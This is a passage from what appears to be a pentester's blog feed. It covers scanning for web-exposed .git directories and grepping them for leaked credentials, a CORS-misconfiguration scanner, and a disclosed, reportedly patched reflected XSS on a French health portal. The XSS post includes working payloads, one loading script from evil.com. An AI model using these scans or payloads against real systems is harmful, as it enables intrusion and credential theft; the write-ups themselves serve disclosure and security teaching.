Hashicorp Terraform
Hubspot
Mailchimp
Mailgun
MessageBird
npm
NuGet
Palantir
Plivo
Postman
Proctorio
Pulumi
Samsara
Shopify
Slack
SSLMate
Stripe
Tencent Cloud
Twilio
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;finally-what-to-conclude-&quot;&gt;Finally what to conclude :&lt;/h3&gt;

&lt;p&gt;For each leaked secrets linked to an environment which could be targeted by an adversary :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Revoke / update the secret (password, any token / private key, …) as quick as possible ;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://help.github.com/en/github/authenticating-to-github/removing-sensitive-data-from-a-repository&quot;&gt;Update the git commits history&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;More globally :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Warn the stakeholders involved in this data leak (users, providers, …) ;&lt;/li&gt;
  &lt;li&gt;Check log files to detect former fraudulent access ;&lt;/li&gt;
  &lt;li&gt;Prevent the versioning of sensitive data (via .gitignore and set hooks to monitor your commits) ;&lt;/li&gt;
  &lt;li&gt;Include the secret scanning process as part as your continuous delivery process (build factory). For example for Github CI see the Github actions Trufflehog and Gitleaks as aforementioned.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;See you soon, next posts will be more internal pentesting / windows oriented,&lt;br /&gt;
Cheers.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Gathering some information from web exposed GIT repositories</title>
   <link href="https://phackt.org/web-exposed-git-repositories"/>
   <updated>2018-08-05T00:00:00+00:00</updated>
   <id>https://phackt.org/web-exposed-git-repositories</id>
   <content type="html">&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;Last week, while i was doing recon on some websites, i noticed that we can still found some versioning repositories in production. I found some classic &lt;strong&gt;.git&lt;/strong&gt; exposed, and in a lesser extent some &lt;strong&gt;.svn&lt;/strong&gt; directories. I decided to gather a bunch of websites caught in the TOP Alexa in order to look for the proportion of .git exposed; with &lt;strong&gt;112332&lt;/strong&gt; domains scanned (mixed TLDs), i found &lt;strong&gt;453&lt;/strong&gt; .git exposed, which is only &lt;strong&gt;0.4%&lt;/strong&gt;. Not bad.&lt;/p&gt;

&lt;p&gt;How to scan for web exposed git directories:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nmap --open -PN -n -p80,81,82,8000,8080,443,8443,9443 --script http-git -oA http-git -iL domains.lst&lt;/code&gt;&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;N.B: this NSE script will perform HTTP requests thanks to input FQDNs (vhosting)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Some developers may clone repository specifying their login and password as part of the url, setting this remote origin in the git configuration. For example, once your nmap done, you can spot some login:password playing with this command:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ grep -A1 Remotes http-git.nmap | grep -E &quot;:.*:[^:]*@.*&quot; | awk &apos;{print $2}&apos;
https://apixxxxxx:[redacted]@github.com/apixxxxxx/apixxxxxx.git
http://deploy:[redacted]@10.0.0.4:7990/scm/[redacted]/portal.git
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However i was looking for other information, for example:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;repository’s activity; last commit date for each branch&lt;/li&gt;
  &lt;li&gt;repo directory traversal (great to download the whole repo)&lt;/li&gt;
  &lt;li&gt;highlights remote url&lt;/li&gt;
  &lt;li&gt;displays .git/config and .gitignore files&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Knowing a bit of a &lt;a href=&quot;https://git-scm.com/docs/gitrepository-layout&quot;&gt;.git repository layout&lt;/a&gt; will allow to easily retrieve this information even if you don’t have any directory traversal.&lt;br /&gt;
That’s why i created a bash script gathering this information which you can find &lt;a href=&quot;https://github.com/phackt/pentest/blob/master/fingerprint/web/git.sh&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/git-exposed/gittool.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If a repository seems interesting and has directory traversal and/or leaks in its remote url some credentials, you can simply download or clone the repository. For example to download the whole repo you can do the following:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ wget --recursive --no-parent http://localhost/phackt.github.io/.git/ &amp;amp;&amp;amp; \
cd localhost/phackt.github.io &amp;amp;&amp;amp; \
git reset --hard
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now what happens if you didn’t find any creds (most of the cases) and &lt;strong&gt;directory traversal is not enabled&lt;/strong&gt; ? I will not reinvent the wheel and advice you to read this &lt;a href=&quot;https://en.internetwache.org/dont-publicly-expose-git-or-how-we-downloaded-your-websites-sourcecode-an-analysis-of-alexas-1m-28-07-2015/&quot;&gt;article&lt;/a&gt; amongst others.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ curl -I http://localhost/phackt.github.io/.git/
HTTP/1.1 403 Forbidden
Date: Sat, 11 Aug 2018 17:00:04 GMT
Server: Apache/2.4.33 (Debian)
Content-Type: text/html; charset=iso-8859-1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I gave a try to another &lt;a href=&quot;https://github.com/arthaud/git-dumper&quot;&gt;git dumper tool&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ git clone https://github.com/arthaud/git-dumper.git &amp;amp;&amp;amp; cd git-dumper
$ pip install -r requirements.txt
$ ./git-dumper.py http://localhost/phackt.github.io/.git/ /tmp/repo
[-] Testing http://localhost/phackt.github.io/.git/HEAD [200]
[-] Testing http://localhost/phackt.github.io/.git/ [403]
[-] Fetching common files
[-] Fetching http://localhost/phackt.github.io/.git/COMMIT_EDITMSG [200]
[-] Fetching http://localhost/phackt.github.io/.git/description [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/commit-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-commit.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/post-receive.sample [302]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://localhost/phackt.github.io/.git/hooks/pre-commit.sample [200]
...
[-] Running git checkout .
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can now inspect our freshly rebuilt repository:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cd /tmp/repo &amp;amp;&amp;amp; ls -1
about.md
categories.md
CNAME
_config.yml
feed.xml
_includes
index.html
_layouts
POC
_posts
public
_sass
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;See you soon,&lt;br /&gt;
Cheers.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Play with permissive CORS</title>
   <link href="https://phackt.org/play-with-permissive-cors"/>
   <updated>2017-12-24T00:00:00+00:00</updated>
   <id>https://phackt.org/play-with-permissive-cors</id>
   <content type="html">&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;While i was playing with a ‘code search engine’ tool called &lt;a href=&quot;https://publicwww.com&quot;&gt;publicwww&lt;/a&gt;, i decided to gather some top Alexa domains and to look for some permissive CORS. I tried the following researches, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;site:fr &quot;type=\&quot;password\&quot;&quot;&lt;/code&gt;, the same for the TLDs &lt;em&gt;.org&lt;/em&gt; and &lt;em&gt;.com&lt;/em&gt;, in order to spot webpages with a login form, meaning authenticated users..&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;I will let you play with publicwww, remember that you are limited with basic access but if you pay you will have access to the top 200000 Alexa websites dealing with your request. May be you also wanna play with Shodan or Censys.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automate permissive CORS detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We already talked about &lt;strong&gt;Cross Origin Ressource Sharing&lt;/strong&gt; in some &lt;a href=&quot;https://phackt.org/xss-cors-csrf-partie-3-cors-csrf&quot;&gt;previous posts&lt;/a&gt;. You also have a great explanation about the &lt;strong&gt;Same Origin Policy&lt;/strong&gt; on &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;mozilla.org&lt;/a&gt;. A website with permissive CORS will allow an attacker to perform any requests to this website from another ressource and this request can include the victim’s cookies (xhr.withCredentials = true).&lt;/p&gt;

&lt;p&gt;So if the cookie’s session is reflected, you will be able to steal it and forge the victim’s session. You will be able to change the victim’s password if the former one is not requested, read some sensitive account information, …. Remember that because now you can READ the response, you also &lt;strong&gt;can read the CSRF token&lt;/strong&gt; and bypass the protection.&lt;/p&gt;

&lt;p&gt;So once i gathered enough interesting domains and urls from OSINT tools, and got a bunch of ones dealing with bug some bounty programs, i decided to be original and to create a tool called &lt;a href=&quot;https://github.com/phackt/pentest/tree/master/fingerprint/web/cors&quot;&gt;cors.py&lt;/a&gt; (&lt;em&gt;DEPRECATED right now, check below&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;This tool reads a list of domains and/or urls and will HTTP request them, adding the &lt;strong&gt;Origin&lt;/strong&gt; header of your choice, example:&lt;br /&gt;
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Origin: https://phackt.org&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;It will finally detects a permissive cors if the response header &lt;strong&gt;Access-Control-Allow-Origin&lt;/strong&gt; is set to &lt;em&gt;null&lt;/em&gt; or if the origin header’s value is reflected, and if the response header &lt;strong&gt;Access-Control-Allow-Credentials&lt;/strong&gt; is set to &lt;em&gt;true&lt;/em&gt; (permissive CORS is relevant only if you can read from request including victim’s cookies). You also can detect some strings in the response headers (see config.json) and configure other parameters like the number of threads, the user agent, the response timeout, and so on.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HOW TO&lt;/strong&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./cors.py -h
usage: cors.py [-h] [-f URLSFILE] [-r]

Looking for some permissive CORS

optional arguments:
  -h, --help            show this help message and exit
  -f URLSFILE, --file URLSFILE
                        file with urls
  -r, --redirect        allow redirect in requests
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example of output:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./cors.py -f /tmp/sitecomtypepassword.txt 
Processing 230 lines
Launching 20 threads
open cors found for url http://asiaroom.com/
open cors found for url http://aksekiyapi.com/
open cors found for url http://baseshare.com/
open cors found for url http://fitwall.com/
open cors found for url http://h10.edmarkreadingonline.com/
open cors found for url http://ermresearch.com/
open cors found for url http://ellysdirectory.com/
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;UPDATE 01/07/2020:I’m strongly suggesting right now to use this complete tool of which i merged most of CORS detecting features: &lt;a href=&quot;https://github.com/chenjj/CORScanner&quot;&gt;https://github.com/chenjj/CORScanner&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This tool gathers everything you need to detect an exploitable CORS misconfiguration &lt;i class=&quot;fa fa-usd&quot;&gt;&lt;/i&gt;&lt;i class=&quot;fa fa-usd&quot;&gt;&lt;/i&gt;&lt;i class=&quot;fa fa-usd&quot;&gt;&lt;/i&gt; :&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Misconfiguration type&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Reflect_any_origin&lt;/td&gt;
      &lt;td&gt;Blindly reflect the Origin header value in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Access-Control-Allow-Origin headers&lt;/code&gt; in responses, which means any website can read its secrets by sending cross-orign requests.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Prefix_match&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.com.evil.com&lt;/code&gt;, which is an attacker’s domain.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Suffix_match&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evilexample.com&lt;/code&gt;, which could be registered by an attacker.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Not_escape_dot&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwwaexample.com&lt;/code&gt;, which could be registered by an attacker.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Substring match&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;example.co&lt;/code&gt;, which could be registered by an attacker.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Trust_null&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wwww.example.com&lt;/code&gt; trusts &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;null&lt;/code&gt;, which can be forged by iframe sandbox scripts&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;HTTPS_trust_HTTP&lt;/td&gt;
      &lt;td&gt;Risky trust dependency, a MITM attacker may steal HTTPS site secrets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Trust_any_subdomain&lt;/td&gt;
      &lt;td&gt;Risky trust dependency, a subdomain XSS may steal its secrets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Custom_third_parties&lt;/td&gt;
      &lt;td&gt;Custom unsafe third parties origins like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;github.io&lt;/code&gt;, see more in &lt;a href=&quot;./origins.json&quot;&gt;origins.json&lt;/a&gt; file. Thanks &lt;a href=&quot;https://github.com/phackt&quot;&gt;@phackt&lt;/a&gt;!&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Special_characters_bypass&lt;/td&gt;
      &lt;td&gt;Exploiting browsers’ handling of special characters. Most can only work in Safari except &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;, which can also work in Chrome and Firefox. See more in &lt;a href=&quot;https://www.corben.io/advanced-cors-techniques/&quot;&gt;Advanced CORS Exploitation Techniques&lt;/a&gt;. Thanks &lt;a href=&quot;https://github.com/Malayke&quot;&gt;@Malayke&lt;/a&gt;.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Cheers.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>A fun case of XSS and other web concepts</title>
   <link href="https://phackt.org/xss-real-life-case-credentials-stealing"/>
   <updated>2017-07-25T00:00:00+00:00</updated>
   <id>https://phackt.org/xss-real-life-case-credentials-stealing</id>
   <content type="html">&lt;p&gt;Hello folks,&lt;/p&gt;

&lt;p&gt;I would like to share with you a practical case of reflected XSS while i was looking at my national health service account. Right now the XSS has been patched (we have an efficient dedicated national service where we can report such issues).
&lt;!--more--&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the issue ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A reflected &lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot;&gt;XSS&lt;/a&gt; in the login field at the authentication page from the website https://assure.ameli.fr where all french citizen are consulting their social security account. Some digits are required but setting some alphacharacters as login will return the string in uppercase.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Where is the issue ?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So i set:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/xss-practical-case/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And i got:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexionCompteForm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexioncompte_2connexionCompteForm&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://assure.ameli.fr:443/PortailAS/appmanager/PortailAS/assure?_nfpb=true&amp;amp;amp;_windowLabel=connexioncompte_2&amp;amp;amp;connexioncompte_2_actionOverride=%2Fportlets%2Fconnexioncompte%2Fvalidationconnexioncompte&amp;amp;amp;_pageLabel=as_login_page&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;r_cnx_form&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
...
&lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexioncompte_2nir_as&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;THEPOSTLOGIN&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;maxlength=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;13&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;size=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;13&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;placeholder=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Mon numéro de sécurité sociale&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Mon numéro de sécurité sociale&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;tabindex=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;3&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;connexioncompte_2numSecuriteSociale&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
...
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try something else with the login &lt;strong&gt;toto&amp;lt;&amp;gt;”’();/:&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;input id=&quot;connexioncompte_2nir_as&quot; type=&quot;text&quot; value=&quot;TOTO&amp;lt;&amp;gt;&quot;&apos;();/\&quot; maxlength=&quot;13&quot; ...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;No escaping, no sanitizing or HTML encoding but we will have to deal with UPPERCASE. &lt;strong&gt;HTML is not case sensitive but javascript is&lt;/strong&gt;, so we will do some HEX encoding for the javascript part.&lt;/p&gt;

&lt;p&gt;An important thing i forgot to mention is that the payload is &lt;strong&gt;truncated to 255 characters&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So this is &lt;strong&gt;how to exploit an XSS when your payload is UPPERCASED (and truncated):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First payload:&lt;/strong&gt;&lt;br /&gt;
We can test the XSS thanks to this payload (alert) - &lt;em&gt;also notice that we want to preserve the way how the webpage renders&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=&quot; /&amp;gt;&amp;lt;IMG SRC=X ONERROR=&amp;amp;#x61;&amp;amp;#x6C;&amp;amp;#x65;&amp;amp;#x72;&amp;amp;#x74;(&amp;amp;#x64;&amp;amp;#x6F;&amp;amp;#x63;&amp;amp;#x75;&amp;amp;#x6D;&amp;amp;#x65;&amp;amp;#x6E;&amp;amp;#x74;&amp;amp;#x2E;&amp;amp;#x64;&amp;amp;#x6F;&amp;amp;#x6D;&amp;amp;#x61;&amp;amp;#x69;&amp;amp;#x6E;) hidden&amp;gt;&amp;lt;nimp &quot;&amp;amp;connexioncompte_2codeConfidentiel=&amp;amp;connexioncompte_2actionEvt=connecter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Full payload url encoded:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20%2F%3E%3CIMG%20SRC%3DX%20ONERROR%3D%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B(%26%23x64%3B%26%23x6F%3B%26%23x63%3B%26%23x75%3B%26%23x6D%3B%26%23x65%3B%26%23x6E%3B%26%23x74%3B%26%23x2E%3B%26%23x64%3B%26%23x6F%3B%26%23x6D%3B%26%23x61%3B%26%23x69%3B%26%23x6E%3B)%20hidden%3E%3Cnimp%20%22&amp;amp;connexioncompte_2codeConfidentiel=&amp;amp;connexioncompte_2actionEvt=connecter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;But wait… you process a GET request and you were talking about a form with POST method ?&lt;/em&gt;&lt;br /&gt;
Yes, there but there is no server-side filtering on the specific POST method (&lt;em&gt;of course it’s also exploitable with POST&lt;/em&gt;).&lt;/p&gt;

&lt;p&gt;So what do we have ?:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/xss-practical-case/image2.png&quot; alt=&quot;image2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It works because i’m using Firefox. IE and Chrome embed a reflected XSS auditor which prevents this kind of inline javascript execution.&lt;/p&gt;

&lt;p&gt;Now how to deal with a truncated payload ?:&lt;br /&gt;
Easy, we just have to call an external javascript file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Final payload:&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot; name=&quot;connexioncompte_2numSecuriteSociale&quot; placeholder=&quot;&amp;amp;#x4d;&amp;amp;#x6f;&amp;amp;#x6e;&amp;amp;#x20;&amp;amp;#x6e;&amp;amp;#x75;&amp;amp;#x6d;&amp;amp;#xe9;&amp;amp;#x72;&amp;amp;#x6f;&amp;amp;#x20;&amp;amp;#x64;&amp;amp;#x65;&amp;amp;#x20;&amp;amp;#x73;&amp;amp;#xe9;&amp;amp;#x63;&amp;amp;#x75;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x74;&amp;amp;#xe9;&amp;amp;#x20;&amp;amp;#x73;&amp;amp;#x6f;&amp;amp;#x63;&amp;amp;#x69;&amp;amp;#x61;&amp;amp;#x6c;&amp;amp;#x65;&quot; /&amp;gt;&amp;lt;script src=&apos;https://evil.com/poc/poc.js&apos;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;nimp &quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Final payload url encoded:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://assure.ameli.fr/PortailAS/appmanager/PortailAS/assure?connexioncompte_2numSecuriteSociale=%22%20name%3D%22connexioncompte_2numSecuriteSociale%22%20placeholder%3D%22%26%23x4d%3B%26%23x6f%3B%26%23x6e%3B%26%23x20%3B%26%23x6e%3B%26%23x75%3B%26%23x6d%3B%26%23xe9%3B%26%23x72%3B%26%23x6f%3B%26%23x20%3B%26%23x64%3B%26%23x65%3B%26%23x20%3B%26%23x73%3B%26%23xe9%3B%26%23x63%3B%26%23x75%3B%26%23x72%3B%26%23x69%3B%26%23x74%3B%26%23xe9%3B%26%23x20%3B%26%23x73%3B%26%23x6f%3B%26%23x63%3B%26%23x69%3B%26%23x61%3B%26%23x6c%3B%26%23x65%3B%22%20%2F%3E%3Cscript%20src%3D%27https%3A%2F%2Fevil.com%2Fpoc%2Fpoc.js%27%3E%3C%2Fscript%3E%3Cnimp%20%22&amp;amp;connexioncompte_2codeConfidentiel=&amp;amp;connexioncompte_2actionEvt=connecter
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On our web server, we are creating the web tree &lt;em&gt;POC/POC.JS&lt;/em&gt; (scheme and domain name are not case sensitive). But does a little bird sing the word CORS (Cross-Origin Resource Sharing)?&lt;/p&gt;

&lt;p&gt;Here are some examples of resources which may be embedded cross-origin (&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;JavaScript with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script src=&quot;...&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;. Error messages for syntax errors are only available for same-origin scripts.&lt;/li&gt;
  &lt;li&gt;CSS with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;...&quot;&amp;gt;&lt;/code&gt;. Due to the relaxed syntax rules of CSS, cross-origin CSS requires a correct Content-Type header. Restrictions vary by browser: IE, Firefox, Chrome, Safari (scroll down to CVE-2010-0051) and Opera.&lt;/li&gt;
  &lt;li&gt;Images with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;img&amp;gt;&lt;/code&gt;. Supported image formats include PNG, JPEG, GIF, BMP, SVG, …&lt;/li&gt;
  &lt;li&gt;Media files with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;video&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;audio&amp;gt;&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;Plug-ins with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;object&amp;gt;&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;embed&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;applet&amp;gt;&lt;/code&gt;.&lt;/li&gt;
